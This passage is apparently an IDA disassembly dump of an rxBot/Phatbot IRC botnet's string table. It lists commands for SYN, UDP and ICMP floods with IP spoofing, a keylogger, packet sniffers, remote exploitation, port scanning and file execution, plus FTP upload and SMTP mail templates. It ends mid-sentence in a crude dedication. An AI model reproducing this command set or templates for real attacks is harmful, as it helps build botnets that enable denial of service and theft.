		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42BC38	db  2Dh	; -		; DATA XREF: seg000:004076E8o
					; seg000:00407AD6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42BC70	db  2Dh	; -		; DATA XREF: seg000:0040768Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42BCD8	db  2Dh	; -		; DATA XREF: seg000:00407519o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: seg000:004074BCo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 10h
unk_42BD40	db  2Dh	; -		; DATA XREF: seg000:loc_40739Bo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 10h
unk_42BD70	db  2Dh	; -		; DATA XREF: seg000:00407394o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:0040737Bo
aSS_3		db '-s:%s',0            ; DATA XREF: seg000:00407364o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:00407344o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: seg000:00407320o
					; sub_411D74+4Eo
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:0040730Fo
		align 10h
unk_42BDE0	db  2Dh	; -		; DATA XREF: seg000:004072B6o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 10h
aUpload		db 'upload',0           ; DATA XREF: seg000:00407293o
		align 4
unk_42BE08	db  2Dh	; -		; DATA XREF: seg000:0040725Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42BE48	db  2Dh	; -		; DATA XREF: seg000:00407215o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42BE80	db  2Dh	; -		; DATA XREF: seg000:004071BCo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42BEC8	db  2Dh	; -		; DATA XREF: seg000:0040710Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42BEFC	db  2Dh	; -		; DATA XREF: seg000:004070DAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 10h
unk_42BF30	db  2Dh	; -		; DATA XREF: seg000:004070B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42BF68	db  2Dh	; -		; DATA XREF: seg000:00407006o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:00406FE9o
		align 4
unk_42BFBC	db  2Dh	; -		; DATA XREF: seg000:00406FBFo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 8
unk_42BFF8	db  2Dh	; -		; DATA XREF: seg000:00406F66o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42C040	db  2Dh	; -		; DATA XREF: seg000:loc_406E96o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42C078	db  2Dh	; -		; DATA XREF: seg000:00406E7Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42C0B0	db  2Dh	; -		; DATA XREF: seg000:00406E16o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: seg000:00406E06o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:00406DFFo
unk_42C0F4	db  2Dh	; -		; DATA XREF: seg000:00406D6Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: seg000:00406D5Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: seg000:00406D43o
aHcon		db 'hcon',0             ; DATA XREF: seg000:00406CCDo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: seg000:00406CBAo
unk_42C13C	db  2Dh	; -		; DATA XREF: seg000:00406C6Bo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:00406BF7o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: seg000:00406B0Co
		align 4
aTcp		db 'tcp',0              ; DATA XREF: seg000:00406AF5o
aTcpflood	db 'tcpflood',0         ; DATA XREF: seg000:00406ADEo
		align 4
aP:					; DATA XREF: seg000:00406AC7o
					; seg002:0043A880o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: seg000:00406AB0o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: seg000:00406A99o
		align 4
aNs		db 'ns',0               ; DATA XREF: seg000:00406A82o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: seg000:00406A6Bo
aU:					; DATA XREF: seg000:00406A54o
					; seg002:0043A878o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: seg000:00406A3Do
aUdpflood	db 'udpflood',0         ; DATA XREF: seg000:00406A26o
		align 4
aAdfsdgsdgsc	db 'adfsdgsdgsc',0      ; DATA XREF: seg000:00406A0Fo
aFofofo		db 'fofofo',0           ; DATA XREF: seg000:004069F8o
		align 10h
aPsc		db 'psc',0              ; DATA XREF: seg000:004069E1o
aPortscan	db 'portscan',0         ; DATA XREF: seg000:004069CAo
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: seg000:004069A4o
aC_action	db 'c_action',0         ; DATA XREF: seg000:0040698Do
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: seg000:00406976o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: seg000:0040695Fo
		align 4
aSc		db 'sc',0               ; DATA XREF: seg000:00406948o
		align 4
aScan		db 'scan',0             ; DATA XREF: seg000:00406931o
		align 10h
aRd		db 'rd',0               ; DATA XREF: seg000:0040691Ao
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: seg000:00406903o
		align 10h
aFalehdownl2	db 'falehdownl2',0      ; DATA XREF: seg000:004068ECo
aFalehdownl	db 'falehdownl',0       ; DATA XREF: seg000:004068D5o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: seg000:004068BEo
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: seg000:004068A7o
		align 4
dword_42C28C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: seg000:00406885o
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42C2C8	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: seg000:00406829o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: seg000:004067A9o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: seg000:00406792o
					; seg000:00406D2Bo
aSynflood	db 'synflood',0         ; DATA XREF: seg000:0040677Bo
		align 10h
unk_42C310	db  2Dh	; -		; DATA XREF: seg000:00406759o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: seg000:00406698o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: seg000:00406681o
					; seg000:loc_412D68o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: seg000:0040666Ao
					; seg000:loc_412D4Co
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: seg000:00406653o
					; seg000:00412D2Do
		align 10h
aC:					; DATA XREF: seg000:0040663Co
					; seg002:0043A8B0o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: seg000:00406625o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: seg000:004065FCo
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: seg000:004065E5o
		align 10h
aMv		db 'mv',0               ; DATA XREF: seg000:004065CEo
		align 4
aRename		db 'rename',0           ; DATA XREF: seg000:004065B7o
		align 4
aFf		db 'ff',0               ; DATA XREF: seg000:004065A0o
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: seg000:00406589o
		align 4
aE:					; DATA XREF: seg000:00406572o
					; seg002:0043A868o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: seg000:0040655Bo
aFalehupd2	db 'falehupd2',0        ; DATA XREF: seg000:00406544o
		align 4
aFalehupd	db 'falehupd',0         ; DATA XREF: seg000:0040652Do
		align 10h
aDe		db 'de',0               ; DATA XREF: seg000:00406516o
		align 4
aDelay		db 'delay',0            ; DATA XREF: seg000:004064FFo
		align 4
aRp		db 'rp',0               ; DATA XREF: seg000:004064E8o
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: seg000:004064D1o
					; seg000:00408624o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: seg000:004064BAo
aTsunami	db 'tsunami',0          ; DATA XREF: seg000:004064A3o
aT3		db 't3',0               ; DATA XREF: seg000:0040648Co
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: seg000:00406475o
		align 10h
aC_p		db 'c_p',0              ; DATA XREF: seg000:0040645Eo
aC_part		db 'c_part',0           ; DATA XREF: seg000:00406447o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: seg000:00406430o
aC_join		db 'c_join',0           ; DATA XREF: seg000:00406419o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: seg000:00406402o
aC_nick		db 'c_nick',0           ; DATA XREF: seg000:004063EBo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: seg000:004063D4o
aC_mode		db 'c_mode',0           ; DATA XREF: seg000:004063BDo
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: seg000:004063A6o
aC_raw		db 'c_raw',0            ; DATA XREF: seg000:0040638Fo
		align 4
aM:					; DATA XREF: seg000:00406378o
					; seg002:0043A8C0o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: seg000:0040634Ao
		align 4
aCycle		db 'cycle',0            ; DATA XREF: seg000:00406333o
		align 4
aA:					; DATA XREF: seg000:0040631Co
					; seg002:0043A884o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: seg000:00406305o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: seg000:004062D7o
aAa		db 'aa',0               ; DATA XREF: seg000:004062C0o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: seg000:004062A9o
		align 10h
aKl		db 'kl',0               ; DATA XREF: seg000:00406292o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: seg000:0040627Bo
aGh		db 'gh',0               ; DATA XREF: seg000:00406252o
		align 10h
aGethost	db 'gethost',0          ; DATA XREF: seg000:0040623Do
aCap		db 'cap',0              ; DATA XREF: seg000:00406228o
aCapture	db 'capture',0          ; DATA XREF: seg000:00406213o
unk_42C4A4	db  2Dh	; -		; DATA XREF: seg000:loc_4061FAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42C4C0	db  2Dh	; -		; DATA XREF: seg000:loc_4061F3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: seg000:004061B1o
					; sub_409A01+5F0o
		align 4
unk_42C4EC	db  2Dh	; -		; DATA XREF: seg000:loc_4061A7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42C50C	db  2Dh	; -		; DATA XREF: seg000:004061A0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42C52C	db  2Dh	; -		; DATA XREF: seg000:loc_406113o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42C54C	db  2Dh	; -		; DATA XREF: seg000:00406109o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: seg000:004060A0o
		align 4
aContinue	db 'continue',0         ; DATA XREF: seg000:00406066o
		align 4
aPause		db 'pause',0            ; DATA XREF: seg000:00406049o
		align 4
aStop		db 'stop',0             ; DATA XREF: seg000:0040602Fo
		align 4
unk_42C594	db  2Dh	; -		; DATA XREF: seg000:loc_406022o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42C5B4	db  2Dh	; -		; DATA XREF: seg000:00406018o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: seg000:00405FC2o
		align 10h
unk_42C5E0	db  2Dh	; -		; DATA XREF: seg000:00405F90o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: seg000:00405F6Co
dword_42C61C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: seg000:00405F3Do
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42C658	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: seg000:00405EE4o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42C67C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: seg000:00405E65o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42C69C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: seg000:loc_405E4Fo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42C6C8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: seg000:00405E45o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: seg000:00405E06o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: seg000:00405DE4o
		align 4
unk_42C714	db  2Dh	; -		; DATA XREF: seg000:loc_405DD9o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
		align 8
unk_42C748	db  2Dh	; -		; DATA XREF: seg000:00405DCFo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42C788	db  2Dh	; -		; DATA XREF: seg000:00405D8Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_16	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42C7C4	db  2Dh	; -		; DATA XREF: seg000:00405D31o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42C7F4	db  2Dh	; -		; DATA XREF: seg000:00405CCDo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: seg000:00405C96o
dword_42C81C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: seg000:loc_405C8Bo
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42C848	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: seg000:00405C81o
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42C884	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: seg000:00405C3Co
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
		align 10h
dword_42C8C0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: seg000:00405BE3o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 10h
dword_42C8F0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: seg000:00405B7Fo
aAlreadyRunni_1	db '- Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: seg000:00405B5Fo
					; seg000:00405CADo ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: seg000:00405B48o
		align 4
aRf		db 'rf',0               ; DATA XREF: seg000:00405B33o
		align 10h
aReadfile	db 'readfile',0         ; DATA XREF: seg000:00405B1Eo
		align 4
aCm		db 'cm',0               ; DATA XREF: seg000:00405B09o
		align 10h
aCmd		db 'cmd',0              ; DATA XREF: seg000:00405AF4o
aMirc		db 'mirc',0             ; DATA XREF: seg000:00405ADFo
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: seg000:00405ACAo
aV:					; DATA XREF: seg000:00405AB5o
					; seg002:0043A8B4o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: seg000:00405AA0o
		align 10h
aLi		db 'li',0               ; DATA XREF: seg000:00405A8Bo
		align 4
aList		db 'list',0             ; DATA XREF: seg000:00405A76o
		align 4
aGt		db 'gt',0               ; DATA XREF: seg000:00405A61o
		align 10h
aDel		db 'del',0              ; DATA XREF: seg000:00405A37o
aDelete		db 'delete',0           ; DATA XREF: seg000:00405A22o
					; seg000:00406083o
		align 4
aKi		db 'ki',0               ; DATA XREF: seg000:00405A0Do
		align 10h
aKill		db 'kill',0             ; DATA XREF: seg000:004059F8o
		align 4
aKp		db 'kp',0               ; DATA XREF: seg000:004059E3o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: seg000:004059CEo
		align 4
aDn		db 'dn',0               ; DATA XREF: seg000:004059B9o
		align 4
aDns		db 'dns',0              ; DATA XREF: seg000:004059A4o
aS3rv3rfg2	db 's3rv3rfg2',0        ; DATA XREF: seg000:0040598Fo
		align 4
aS3rv3rfg	db 's3rv3rfg',0         ; DATA XREF: seg000:0040597Ao
		align 4
aO:					; DATA XREF: seg000:00405965o
					; seg002:0043ABE4o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: seg000:00405950o
					; seg000:00407380o ...
		align 4
aPr		db 'pr',0               ; DATA XREF: seg000:0040593Bo
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: seg000:00405926o
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: seg000:00405911o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: seg000:004058FCo
		align 4
aC_q		db 'c_q',0              ; DATA XREF: seg000:004058E7o
aC_quit		db 'c_quit',0           ; DATA XREF: seg000:004058D2o
		align 10h
aK:					; DATA XREF: seg000:004058BDo
					; seg002:0043A8A0o ...
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: seg000:004058A8o
		align 10h
aRaw		db 'raw',0              ; DATA XREF: seg000:0040587Eo
aPt		db 'pt',0               ; DATA XREF: seg000:00405869o
		align 4
aJ:					; DATA XREF: seg000:0040583Fo
					; seg002:0043A89Co ...
		unicode	0, <j>,0
aN:					; DATA XREF: seg000:00405815o
					; seg002:0043A8BCo ...
		unicode	0, <n>,0
unk_42CA00	db  2Dh	; -		; DATA XREF: seg000:004057E1o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: seg000:0040577Do
aRegister	db 'register',0         ; DATA XREF: seg000:00405754o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: seg000:004056FBo
		align 4
aMix		db 'mix',0              ; DATA XREF: seg000:00405631o
dword_42CA60	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: seg000:004055DDo
					; seg000:00405614o
		dd 0
dword_42CA78	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: seg000:004055A6o
		dd 1
dword_42CA90	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: seg000:0040556Fo
					; seg000:00405683o
aCtcp		db 'ctcp',0             ; DATA XREF: seg000:0040551Do
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: seg000:00405488o
					; seg000:004054C4o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: seg000:00405431o
		align 4
aMsg		db 'msg',0              ; DATA XREF: seg000:00405345o
aChgnick	db 'chgnick',0          ; DATA XREF: seg000:004052FFo
aNick_0		db 'nick',0             ; DATA XREF: seg000:00405202o
					; seg000:00405800o
		align 4
dword_42CAD8	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: seg000:004051E5o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42CB00	dd 636364h		; DATA XREF: seg000:00405168o
dword_42CB04	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: seg000:00405021o
dword_42CB10	dd 4B43494Eh, 732520h	; DATA XREF: seg000:00405004o
					; seg000:0040525Co ...
dword_42CB18	dd 69257325h, 0		; DATA XREF: seg000:00404FECo
					; sub_40ABA1+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: seg000:00404FACo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: seg000:00404F8Fo
					; seg000:00405078o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: seg000:00404F68o
		align 10h
aPartS		db 'part %s',0          ; DATA XREF: seg000:00404F4Bo
aPart_0		db 'part',0             ; DATA XREF: seg000:00404F29o
					; seg000:00405854o
		align 10h
aJoinS		db 'join %s',0          ; DATA XREF: seg000:00404F0Co
					; seg000:0040504Fo ...
aJoin		db 'join',0             ; DATA XREF: seg000:00404EEAo
					; seg000:0040582Ao
		align 10h
aModeSS		db 'mode %s %s',0       ; DATA XREF: seg000:00404ECDo
		align 4
aMode		db 'mode',0             ; DATA XREF: seg000:00404E81o
					; seg000:00406361o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: seg000:00404E64o
		align 4
aNt		db 'nt',0               ; DATA XREF: seg000:00404E18o
		align 4
dword_42CB88	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: seg000:00404DFBo
dword_42CB9C	dd 7463h		; DATA XREF: seg000:00404DAFo
dword_42CBA0	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: seg000:00404D92o
					; seg000:0040539Co ...
dword_42CBB0	dd 5Fh			; DATA XREF: seg000:00404D66o
					; seg000:00404DCFo ...
dword_42CBB4	dd 6D70h		; DATA XREF: seg000:00404D46o
					; seg000:004062EEo
unk_42CBB8	db  2Dh	; -		; DATA XREF: seg000:00404D14o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: seg000:00404CC0o
		align 4
aFlood		db 'flood',0            ; DATA XREF: seg000:00404C97o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: seg000:00404C80o
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: seg000:00404C6Bo
aRin		db 'rin',0              ; DATA XREF: seg000:00404C56o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: seg000:00404C41o
		align 10h
unk_42CC20	db  2Dh	; -		; DATA XREF: seg000:00404C21o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 10h
unk_42CC60	db  2Dh	; -		; DATA XREF: seg000:00404BC5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 10h
aExploit	db 'exploit',0          ; DATA XREF: seg000:00404B48o
unk_42CC98	db  2Dh	; -		; DATA XREF: seg000:00404B2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42CCC4	db  2Dh	; -		; DATA XREF: seg000:00404B00o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: seg000:00404AC8o
		align 4
unk_42CD04	db  2Dh	; -		; DATA XREF: seg000:00404A6Fo
					; seg000:00404AE0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: seg000:loc_404A4Do
					; seg000:00405A4Co
unk_42CD40	db  2Dh	; -		; DATA XREF: seg000:004049DBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42CD6C	db  2Dh	; -		; DATA XREF: seg000:004049D0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42CD98	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: seg000:0040497Fo
unk_42CDA8	db  2Dh	; -		; DATA XREF: seg000:loc_404970o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
